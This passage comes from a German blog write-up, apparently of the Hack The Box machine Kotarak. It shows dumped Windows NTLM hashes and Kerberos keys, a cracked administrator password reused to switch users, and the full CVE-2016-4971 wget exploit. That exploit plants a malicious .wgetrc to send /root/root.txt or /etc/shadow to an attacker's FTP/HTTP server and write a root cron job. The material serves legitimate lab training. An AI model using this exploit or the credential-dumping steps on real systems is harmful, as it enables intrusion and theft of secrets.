</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Reading and decrypting hashes from ntds.dit 
</span></span><span style="display:flex;"><span>Administrator:500:aad3b435b51404eeaad3b435b51404ee:e64fe0f24ba2489c05e64354d74ebd11:::
</span></span><span style="display:flex;"><span>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span><span style="display:flex;"><span>WIN-3G2B0H151AC$:1000:aad3b435b51404eeaad3b435b51404ee:668d49ebfdb70aeee8bcaeac9e3e66fd:::
</span></span><span style="display:flex;"><span>krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ca1ccefcb525db49828fbb9d68298eee:::
</span></span><span style="display:flex;"><span>WIN2K8$:1103:aad3b435b51404eeaad3b435b51404ee:160f6c1db2ce0994c19c46a349611487:::
</span></span><span style="display:flex;"><span>WINXP1$:1104:aad3b435b51404eeaad3b435b51404ee:6f5e87fd20d1d8753896f6c9cb316279:::
</span></span><span style="display:flex;"><span>WIN2K31$:1105:aad3b435b51404eeaad3b435b51404ee:cdd7a7f43d06b3a91705900a592f3772:::
</span></span><span style="display:flex;"><span>WIN7$:1106:aad3b435b51404eeaad3b435b51404ee:24473180acbcc5f7d2731abe05cfa88c:::
</span></span><span style="display:flex;"><span>atanas:1108:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>*<span style="color:#f92672">]</span> Kerberos keys from ntds.dit 
</span></span><span style="display:flex;"><span>Administrator:aes256-cts-hmac-sha1-96:6c53b16d11a496d0535959885ea7c79c04945889028704e2a4d1ca171e4374e2
</span></span><span style="display:flex;"><span>Administrator:aes128-cts-hmac-sha1-96:e2a25474aa9eb0e1525d0f50233c0274
</span></span><span style="display:flex;"><span>Administrator:des-cbc-md5:75375eda54757c2f
</span></span><span style="display:flex;"><span>WIN-3G2B0H151AC$:aes256-cts-hmac-sha1-96:84e3d886fe1a81ed415d36f438c036715fd8c9e67edbd866519a2358f9897233
</span></span><span style="display:flex;"><span>WIN-3G2B0H151AC$:aes128-cts-hmac-sha1-96:e1a487ca8937b21268e8b3c41c0e4a74
</span></span><span style="display:flex;"><span>WIN-3G2B0H151AC$:des-cbc-md5:b39dc12a920457d5
</span></span><span style="display:flex;"><span>WIN-3G2B0H151AC$:rc4_hmac:668d49ebfdb70aeee8bcaeac9e3e66fd
</span></span><span style="display:flex;"><span>krbtgt:aes256-cts-hmac-sha1-96:14134e1da577c7162acb1e01ea750a9da9b9b717f78d7ca6a5c95febe09b35b8
</span></span><span style="display:flex;"><span>krbtgt:aes128-cts-hmac-sha1-96:8b96c9c8ea354109b951bfa3f3aa4593
</span></span><span style="display:flex;"><span>krbtgt:des-cbc-md5:10ef08047a862046
</span></span><span style="display:flex;"><span>krbtgt:rc4_hmac:ca1ccefcb525db49828fbb9d68298eee
</span></span><span style="display:flex;"><span>WIN2K8$:aes256-cts-hmac-sha1-96:289dd4c7e01818f179a977fd1e35c0d34b22456b1c8f844f34d11b63168637c5
</span></span><span style="display:flex;"><span>WIN2K8$:aes128-cts-hmac-sha1-96:deb0ee067658c075ea7eaef27a605908
</span></span><span style="display:flex;"><span>WIN2K8$:des-cbc-md5:d352a8d3a7a7380b
</span></span><span style="display:flex;"><span>WIN2K8$:rc4_hmac:160f6c1db2ce0994c19c46a349611487
</span></span><span style="display:flex;"><span>WINXP1$:aes256-cts-hmac-sha1-96:347a128a1f9a71de4c52b09d94ad374ac173bd644c20d5e76f31b85e43376d14
</span></span><span style="display:flex;"><span>WINXP1$:aes128-cts-hmac-sha1-96:0e4c937f9f35576756a6001b0af04ded
</span></span><span style="display:flex;"><span>WINXP1$:des-cbc-md5:984a40d5f4a815f2
</span></span><span style="display:flex;"><span>WINXP1$:rc4_hmac:6f5e87fd20d1d8753896f6c9cb316279
</span></span><span style="display:flex;"><span>WIN2K31$:aes256-cts-hmac-sha1-96:f486b86bda928707e327faf7c752cba5bd1fcb42c3483c404be0424f6a5c9f16
</span></span><span style="display:flex;"><span>WIN2K31$:aes128-cts-hmac-sha1-96:1aae3545508cfda2725c8f9832a1a734
</span></span><span style="display:flex;"><span>WIN2K31$:des-cbc-md5:4cbf2ad3c4f75b01
</span></span><span style="display:flex;"><span>WIN2K31$:rc4_hmac:cdd7a7f43d06b3a91705900a592f3772
</span></span><span style="display:flex;"><span>WIN7$:aes256-cts-hmac-sha1-96:b9921a50152944b5849c706b584f108f9b93127f259b179afc207d2b46de6f42
</span></span><span style="display:flex;"><span>WIN7$:aes128-cts-hmac-sha1-96:40207f6ef31d6f50065d2f2ddb61a9e7
</span></span><span style="display:flex;"><span>WIN7$:des-cbc-md5:89a1673723ad9180
</span></span><span style="display:flex;"><span>WIN7$:rc4_hmac:24473180acbcc5f7d2731abe05cfa88c
</span></span><span style="display:flex;"><span>atanas:aes256-cts-hmac-sha1-96:933a05beca1abd1a1a47d70b23122c55de2fedfc855d94d543152239dd840ce2
</span></span><span style="display:flex;"><span>atanas:aes128-cts-hmac-sha1-96:d1db0c62335c9ae2508ee1d23d6efca4
</span></span><span style="display:flex;"><span>atanas:des-cbc-md5:6b80e391f113542a
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>* Cleaning up...
</span></span></code></pre></div><p>Wir haben nun also den NTLM Hash des Administrator Passwortes!</p>
<p>Diesen können wir nun auf <a href="https://crackstation.net/">crackstation</a> cracken lassen.</p>
<p><img alt="bild8" src="https://imgur.com/2E6wDDI.jpg"></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>e64fe0f24ba2489c05e64354d74ebd11 <span style="color:#f92672">=</span> f16tomcat!
</span></span></code></pre></div><p>Das Passwort ist also <strong>f16tomcat</strong>!</p>
<p>Dasselbe Passwort können wir benutzen um uns als <strong>Atanas</strong> ein zu loggen. Glücklich für uns, dass das Passwort wohl mehrfach verwendet wurde.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tomcat@kotarak-dmz:/home/tomcat/to_archive/pentest_data$ su - atanas
</span></span><span style="display:flex;"><span>Password: 
</span></span><span style="display:flex;"><span>atnas@kotarak-dmz:~$
</span></span></code></pre></div><p>Jetzt haben wir die Berechtigungen um die User Flag auszulesen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>atanas@kotarak-dmz:~$ cat user.txt 
</span></span><span style="display:flex;"><span>93#########ZENSIERT#########ce8
</span></span></code></pre></div><p>Wir haben auch ausreichende Berechtigungen für das Root-Verzeichnis!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>atanas@kotarak-dmz:~$ cd /root
</span></span><span style="display:flex;"><span>atanas@kotarak-dmz:/root$ ls
</span></span><span style="display:flex;"><span>app.log flag.txt
</span></span><span style="display:flex;"><span>atanas@kotarak-dmz:/root$ cat flag.txt 
</span></span><span style="display:flex;"><span>Getting closer! But what you are looking <span style="color:#66d9ef">for</span> can<span style="color:#960050;background-color:#1e0010">&#39;</span>t be found here.
</span></span><span style="display:flex;"><span>atanas@kotarak-dmz:/root$ cat app.log 
</span></span><span style="display:flex;"><span>10.0.3.133 - - <span style="color:#f92672">[</span>20/Jul/2017:22:48:01 -0400<span style="color:#f92672">]</span> <span style="color:#e6db74">&#34;GET /archive.tar.gz HTTP/1.1&#34;</span> <span style="color:#ae81ff">404</span> <span style="color:#ae81ff">503</span> <span style="color:#e6db74">&#34;-&#34;</span> <span style="color:#e6db74">&#34;Wget/1.16 (linux-gnu)&#34;</span>
</span></span><span style="display:flex;"><span>10.0.3.133 - - <span style="color:#f92672">[</span>20/Jul/2017:22:50:01 -0400<span style="color:#f92672">]</span> <span style="color:#e6db74">&#34;GET /archive.tar.gz HTTP/1.1&#34;</span> <span style="color:#ae81ff">404</span> <span style="color:#ae81ff">503</span> <span style="color:#e6db74">&#34;-&#34;</span> <span style="color:#e6db74">&#34;Wget/1.16 (linux-gnu)&#34;</span>
</span></span><span style="display:flex;"><span>100.3.133 - - <span style="color:#f92672">[</span>20/Jul/2017:22:52:01 -0400<span style="color:#f92672">]</span> <span style="color:#e6db74">&#34;GET /archive.tar.gz HTTP/1.1&#34;</span> <span style="color:#ae81ff">404</span> <span style="color:#ae81ff">503</span> <span style="color:#e6db74">&#34;-&#34;</span> <span style="color:#e6db74">&#34;Wget/1.16 (linux-gnu)&#34;</span>
</span></span></code></pre></div><p>Die Root Flag ist aber nicht hier. Es befindet sich ansonsten nur die Datei app.log im Verzeichnis&hellip;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~/kotarak# searchsploit wget
</span></span><span style="display:flex;"><span>------------------------------------------------------------------- ----------------------------------
</span></span><span style="display:flex;"><span>Exploit Title                                                      | Path
</span></span><span style="display:flex;"><span>                                                                   | <span style="color:#f92672">(</span>/usr/share/exploitdb/<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------------- ----------------------------------
</span></span><span style="display:flex;"><span>GNU Wget 1.x - Multiple Vulnerabilities                            | exploits/linux/remote/24813.pl
</span></span><span style="display:flex;"><span>GNU Wget &lt; 1.18 - Access List Bypass / Race Condition              | exploits/multiple/remote/40824.py
</span></span><span style="display:flex;"><span>GNU Wget &lt; 1.18 - Arbitrary File Upload / Remote Code Execution    | exploits/linux/remote/40064.txt
</span></span><span style="display:flex;"><span>WGet 1.x - Insecure File Creation Race Condition                   | exploits/linux/local/24123.sh
</span></span><span style="display:flex;"><span>feh 1.7 - <span style="color:#e6db74">&#39;--wget-Timestamp&#39;</span> Remote Code Execution                 | exploits/linux/remote/34201.txt
</span></span><span style="display:flex;"><span>wget 1.10.2 - Unchecked Boundary Condition Denial of Service       | exploits/multiple/dos/2947.pl
</span></span><span style="display:flex;"><span>wget 1.9 - Directory Traversal                                     | exploits/multiple/remote/689.pl
</span></span><span style="display:flex;"><span>------------------------------------------------------------------- ----------------------------------
</span></span><span style="display:flex;"><span>------------------------------------------------------------------- ----------------------------------
</span></span><span style="display:flex;"><span>Shellcode Title                                                    | Path
</span></span><span style="display:flex;"><span>                                                                   | <span style="color:#f92672">(</span>/usr/share/exploitdb/<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>------------------------------------------------------------------- ----------------------------------
</span></span><span style="display:flex;"><span>Linux/x86 - execve wget + Mutated + Null-Free Shellcode <span style="color:#f92672">(</span><span style="color:#ae81ff">96</span> bytes<span style="color:#f92672">)</span> | shellcodes/linux_x86/43739.c
</span></span><span style="display:flex;"><span>Linux/x86 - execve<span style="color:#f92672">(</span>_/usr/bin/wget__ _aaaa_<span style="color:#f92672">)</span> Shellcode <span style="color:#f92672">(</span><span style="color:#ae81ff">42</span> bytes<span style="color:#f92672">)</span>   | shellcodes/linux_x86/13702.c
</span></span><span style="display:flex;"><span>------------------------------------------------------------------ ----------------------------------
</span></span></code></pre></div><p>Sehen wir uns diesen Exploit an: <a href="https://www.exploit-db.com/exploits/40064/">GNU Wget &lt; 1.18 - Arbitrary File Upload / Remote Code Execution</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~/kotarak# searchsploit -m exploits/linux/remote/40064.txt
</span></span><span style="display:flex;"><span>Exploit: GNU Wget &lt; 1.18 - Arbitrary File Upload / Remote Code Execution
</span></span><span style="display:flex;"><span>URL: https://www.exploit-db.com/exploits/40064/
</span></span><span style="display:flex;"><span>Path: /usr/share/exploitdb/exploits/linux/remote/40064.txt
</span></span><span style="display:flex;"><span>File Type: UTF-8 Unicode text, with CRLF line terminators
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Copied to: /root/kotarak/40064.txt
</span></span></code></pre></div><p>Die Datei enthält folgende Anleitung um eine Remote Code Execution auszuführen:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>In order to exploit this setup, attacker first prepares a malicious .wgetrc 
</span></span><span style="display:flex;"><span>and starts an FTP server:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>attackers-server# mkdir /tmp/ftptest
</span></span><span style="display:flex;"><span>attackers-server# cd /tmp/ftptest
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>attackers-server# cat <span style="color:#e6db74">&lt;&lt;_EOF_&gt;.wgetrc
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">post_file = /etc/shadow
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">output_document = /etc/cron.d/wget-root-shell
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">_EOF_</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>attackers-server# sudo pip install pyftpdlib
</span></span><span style="display:flex;"><span>attackers-server# python -m pyftpdlib -p21 -w
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>At this point attacker can start an HTTP server which will exploit wget by
</span></span><span style="display:flex;"><span>sending malicious redirects to the victim wget<span style="color:#e6db74">&#39;s requests:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">---[ wget-exploit.py ]---
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#!/usr/bin/env python
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># Wget 1.18 &lt; Arbitrary File Upload Exploit
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># Dawid Golunski
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># dawid( at )legalhackers.com
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"># CVE-2016-4971 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">#
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">import SimpleHTTPServer
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">import SocketServer
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">import socket;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler):
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">   def do_GET(self):
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       # This takes care of sending .wgetrc
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       print &#34;We have a volunteer requesting &#34; + self.path + &#34; by GET :)\n&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       if &#34;Wget&#34; not in self.headers.getheader(&#39;</span>User-Agent<span style="color:#e6db74">&#39;):
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      print &#34;But it&#39;</span>s not a Wget :<span style="color:#f92672">(</span> <span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          self.send_response(200)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          self.end_headers()
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          self.wfile.write(&#34;</span>Nothing to see here...<span style="color:#e6db74">&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          return
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       print &#34;</span>Uploading .wgetrc via ftp redirect vuln. It should land in /root <span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       self.send_response(301)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       new_path = &#39;%s&#39;%(&#39;ftp://anonymous@%s:%s/.wgetrc&#39;%(FTP_HOST, FTP_PORT) )
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       print &#34;</span>Sending redirect to %s <span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;%(new_path)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       self.send_header(&#39;Location&#39;, new_path)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       self.end_headers()
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">   def do_POST(self):
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       # In here we will receive extracted file and install a PoC cronjob
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       print &#34;</span>We have a volunteer requesting <span style="color:#e6db74">&#34; + self.path + &#34;</span> by POST :<span style="color:#f92672">)</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       if &#34;</span>Wget<span style="color:#e6db74">&#34; not in self.headers.getheader(&#39;User-Agent&#39;):
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      print &#34;</span>But it<span style="color:#e6db74">&#39;s not a Wget :( \n&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          self.send_response(200)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          self.end_headers()
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          self.wfile.write(&#34;Nothing to see here...&#34;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">          return
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       content_len = int(self.headers.getheader(&#39;</span>content-length<span style="color:#e6db74">&#39;, 0))
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       post_body = self.rfile.read(content_len)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       print &#34;Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n&#34; % (post_body)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       print &#34;Sending back a cronjob script as a thank-you for the file...&#34; 
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       print &#34;It should get saved in /etc/cron.d/wget-root-shell on the victim&#39;</span>s host <span style="color:#f92672">(</span>because of .wgetrc we injected in the GET first response<span style="color:#f92672">)</span><span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       self.send_response(200)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       self.send_header(&#39;Content-type&#39;, &#39;text/plain&#39;)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       self.end_headers()
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       self.wfile.write(ROOT_CRON)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       print &#34;</span><span style="color:#ae81ff">\n</span>File was served. Check on /root/hacked-via-wget on the victim<span style="color:#e6db74">&#39;s host in a minute! :) \n&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">       return
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">HTTP_LISTEN_IP = &#39;</span>192.168.57.1<span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">HTTP_LISTEN_PORT = 80
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">FTP_HOST = &#39;</span>192.168.57.1<span style="color:#e6db74">&#39;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">FTP_PORT = 21
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">ROOT_CRON = &#34;* * * * * root /usr/bin/id &gt; /root/hacked-via-wget \n&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">print &#34;Ready? Is your FTP server running?&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">result = sock.connect_ex((FTP_HOST, FTP_PORT))
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">if result == 0:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">   print &#34;FTP found open on %s:%s. Let&#39;</span>s go <span style="color:#66d9ef">then</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34; % (FTP_HOST, FTP_PORT)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">else:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">   print &#34;</span>FTP is down :<span style="color:#f92672">(</span> Exiting.<span style="color:#e6db74">&#34;
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">   exit(1)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">print &#34;</span>Serving wget exploit on port %s...<span style="color:#ae81ff">\n\n</span><span style="color:#e6db74">&#34; % HTTP_LISTEN_PORT
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">handler.serve_forever()
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">--[ eof ]---
</span></span></span></code></pre></div><p>Befolgen wir die Anleitung, anstatt <strong>/etc/shadow</strong> wollen wir allerdings <strong>/root/root.txt</strong> erhalten!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~/kotarak# mkdir ftptest
</span></span><span style="display:flex;"><span>root@kali:~/kotarak# cd ftptest/
</span></span><span style="display:flex;"><span>root@kali:~/kotarak/ftptest# cat <span style="color:#e6db74">&lt;&lt;_EOF_&gt;.wgetrc
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&gt; post_file = /root/root.txt
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&gt; output_document = /etc/cron.d/wget-root-shell
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">&gt; _EOF_</span>
</span></span><span style="display:flex;"><span>root@kali:~/kotarak/ftptest# cat .wgetrc 
</span></span><span style="display:flex;"><span>post_file <span style="color:#f92672">=</span> /root/root.txt
</span></span><span style="display:flex;"><span>ouput_document <span style="color:#f92672">=</span> /etc/cron.d/wget-root-shell
</span></span></code></pre></div><p>Nun <strong>pyftpdlib</strong> installieren, falls noch nicht vorhanden</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~/kotarak/ftptest# sudo pip install pyftpdlib
</span></span><span style="display:flex;"><span>Reuirement already satisfied: pyftpdlib in /usr/local/lib/python2.7/dist-packages
</span></span></code></pre></div><p>pyftpdlib ausführen:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~/kotarak/ftptest# python -m pyftpdlib -p21 -w
</span></span><span style="display:flex;"><span>/usr/local/lib/python2.7/dist-packages/pyftpdlib/authorizers.py:244: RuntimeWarning: write permissions assigned to anonymous user.
</span></span><span style="display:flex;"><span>RuntimeWarning<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I 2018-03-14 19:17:49<span style="color:#f92672">]</span> &gt;&gt;&gt; starting FTP server on 0.0.0.0:21, pid<span style="color:#f92672">=</span><span style="color:#ae81ff">11282</span> <span style="color:#f92672">&lt;&lt;&lt;</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I 2018-03-14 19:17:49<span style="color:#f92672">]</span> concurrency model: async
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I 2018-03-14 19:17:49<span style="color:#f92672">]</span> masquerade <span style="color:#f92672">(</span>NAT<span style="color:#f92672">)</span> address: None
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>I2018-03-14 19:17:49<span style="color:#f92672">]</span> passive ports: None
</span></span></code></pre></div><p>Kopieren wir nun den exploit auf Kotarak.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>atanas@kotarak-dmz:/root$ vi exploit.py
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#!/usr/bin/env python</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>HTTP_LISTEN_IP <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;0.0.0.0&#39;</span>
</span></span><span style="display:flex;"><span>HTTP_LISTEN_PORT <span style="color:#f92672">=</span> <span style="color:#ae81ff">80</span>
</span></span><span style="display:flex;"><span>FTP_HOST <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;10.10.15.158&#39;</span>
</span></span><span style="display:flex;"><span>FTP_PORT <span style="color:#f92672">=</span> <span style="color:#ae81ff">21</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>ROOT_CRON <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;* * * * * root /usr/bin/id &gt; /root/hacked-via-wget \n&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>handler <span style="color:#f92672">=</span> SocketServer.TCPServer<span style="color:#f92672">((</span>HTTP_LISTEN_IP, HTTP_LISTEN_PORT<span style="color:#f92672">)</span>, wgetExploit<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#34;Ready? Is your FTP server running?&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sock <span style="color:#f92672">=</span> socket.socket<span style="color:#f92672">(</span>socket.AF_INET, socket.SOCK_STREAM<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>result <span style="color:#f92672">=</span> sock.connect_ex<span style="color:#f92672">((</span>FTP_HOST, FTP_PORT<span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> result <span style="color:#f92672">==</span> 0:
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#34;FTP found open on %s:%s. Let&#39;s go then\n&#34;</span> % <span style="color:#f92672">(</span>FTP_HOST, FTP_PORT<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#34;FTP is down :( Exiting.&#34;</span>
</span></span><span style="display:flex;"><span>exit<span style="color:#f92672">(</span>1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>print <span style="color:#e6db74">&#34;Serving wget exploit on port %s...\n\n&#34;</span> % HTTP_LISTEN_PORT
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>hadler.serve_forever<span style="color:#f92672">()</span>
</span></span></code></pre></div><p>Bei <strong>FTP_HOST</strong> müssen wir unsere IP-Adresse eintragen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>atanas@kotarak-dmz:/root$ python exploit.py
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>soket.error: <span style="color:#f92672">[</span>Errno 13<span style="color:#f92672">]</span> Permission denied
